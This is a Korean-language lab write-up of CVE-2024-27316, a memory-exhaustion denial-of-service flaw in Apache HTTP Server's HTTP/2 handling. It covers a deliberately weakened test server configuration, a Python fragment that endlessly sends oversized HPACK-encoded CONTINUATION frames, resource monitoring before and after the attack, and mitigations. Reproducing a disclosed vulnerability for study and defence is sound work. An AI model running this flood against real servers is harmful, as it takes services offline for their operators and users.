CVE-2024-27316

Apache 서버 메모리 고갈 취약점

NVD Apache

  1. 1.1 취약점 요약
  2. 1.2 취약 대상
  3. 1.3 공격 원리
  4. 1.4 환경 구성
  5. 1.5 공격 재현
  6. 1.6 Apache 서버 DoS 공격 전후 시스템 상태 분석
  7. 1.7 대응 방안
  8. 1.8 참고 자료

1.1 취약점 요약

HTTP/2 프로토콜에서 사용자가 제한을 초과하는 헤더를 지속적으로 전송할 때 nghttp2 라이브러리가 이를 임시로 메모리에 버퍼링하여 메모리 고갈을 초래할 수 있는 취약점

1.2 취약 대상

Apache HTTP Server 2.4.17 ~ 2.4.58 버전

1.3 공격 원리

  • Apache Server에서 일정 크기를 초과하는 헤더에 대해 HTTP 413 응답을 생성
  • 초과된 헤더는 HPACK으로 압축된 후 nghttp2 라이브러리 내부의 메모리 버퍼에 임시로 저장
  • 저장된 헤더는 다음 패킷이 처리될 때까지 유지
  • 공격자는 이 취약점을 악용하여 서버에 지속적으로 초과된 길이의 HTTP/2 헤더를 전송
  • 서버는 메모리 소진으로 인해 서비스 중단

1.4 환경 구성

  • Victim: Ubuntu 22.0.4 (IP: 192.168.10.128)
  • Attacker: Windows11 (IP: 192.168.9.1)

Apache Server v2.4.52 설치 및 http2 프로토콜 사용 설정

## Apache 2.4.52 설치 및 환경설정
sudo apt install apache2=2.4.52*
sudo apt install libnghttp2-dev

sudo a2enmod ssl
sudo a2enmod http2
sudo a2ensite default-ssl
sudo ufw allow 80/tcp
sudo ufw allow 8080/tcp
sudo ufw allow 443/tcp
sudo ufw enable

sudo systemctl restart apache2

sudo vi /etc/apache2/sites-available/default-ssl.conf

## default-ssl.conf 설정 - [HTTP2, HTTP 1.1 프로토콜 사용]
<IfModule mod_ssl.c>
    <VirtualHost _default_:443>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html

        SSLEngine on
        SSLCertificateFile /etc/ssl/certs/apache-selfsigned.crt
        SSLCertificateKeyFile /etc/ssl/private/apache-selfsigned.key

        <FilesMatch "\.(cgi|shtml|phtml|php)$">
            SSLOptions +StdEnvVars
        </FilesMatch>
        <Directory /usr/lib/cgi-bin>
            SSLOptions +StdEnvVars
        </Directory>

        Protocols h2 http/1.1
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
    </VirtualHost>
</IfModule>

sudo systemctl restart apache2

sudo vi /etc/apache2/apache2.conf

## apache2.conf 설정 - 취약점 설정[requests 헤더 사이즈에 대한 limit를 늘림]
LimitRequestFieldSize 16384
LimitRequestFields 1000


구현 된 홈페이지 (192.168.56.1:443)


1.5 공격 재현

Python Version : 3.12.3
Module : hpack, threading, hyperframe, socket, ssl, multiprocessing

import 추가

from hpack import Encoder
import threading
from hyperframe.frame import HeadersFrame, ContinuationFrame, SettingsFrame, WindowUpdateFrame
import socket
import ssl
from multiprocessing import Process, current_process

hpack을 사용하여 header 크기 압축

def hpack_header(i):
    encoder = Encoder()
    name = f'ssssssssssssssssssssshhhhhhhhhhhhhhhhhhhhhhhwwwwwwwwwwwwwwwwwshwshwssssssssshhhhhhhhhhhwwwwwwwwwwww{i}'
    value = f'03310331033198989803319898033198980331998980331033103310331989898033198980331989803319989803319898{i}'
    headers = [(name, value)]
    encoded_headers = encoder.encode(headers)
    return encoded_headers

HTTP/2 프레임 반복 생성 후 전송

    i = 0
    while True:
        continuation_frame = ContinuationFrame(1)
        continuation_frame.data = hpack_header(i)
        continuation_frame.flags.add('END_HEADERS')
        sock.sendall(continuation_frame.serialize())
        i += 1

1.6 Apache 서버 DoS 공격 전후 시스템 상태 분석

Apache2 시스템 상태 모니터링

htop -p $(pgrep apache2 | tr '\n' ',')


DoS 공격 실행 전, CPU, 메모리 사용량이 안정적으로 유지 (Mem : 475M)


DoS 공격으로 인해 CPU, 메모리 사용량이 증가 (Mem : 504M)


지속적인 공격이나 높은 부하로 인해 서버의 자원이 고갈되면 프로세스가 비정상적으로 종료


1.7 대응 방안

  • Apache HTTP Server 버전 2.4.59 이상으로 업데이트
  • nghttp2 라이브러리의 메모리 관리 로직 개선
  • HTTP/2 프로토콜을 비활성화

1.8 참고 자료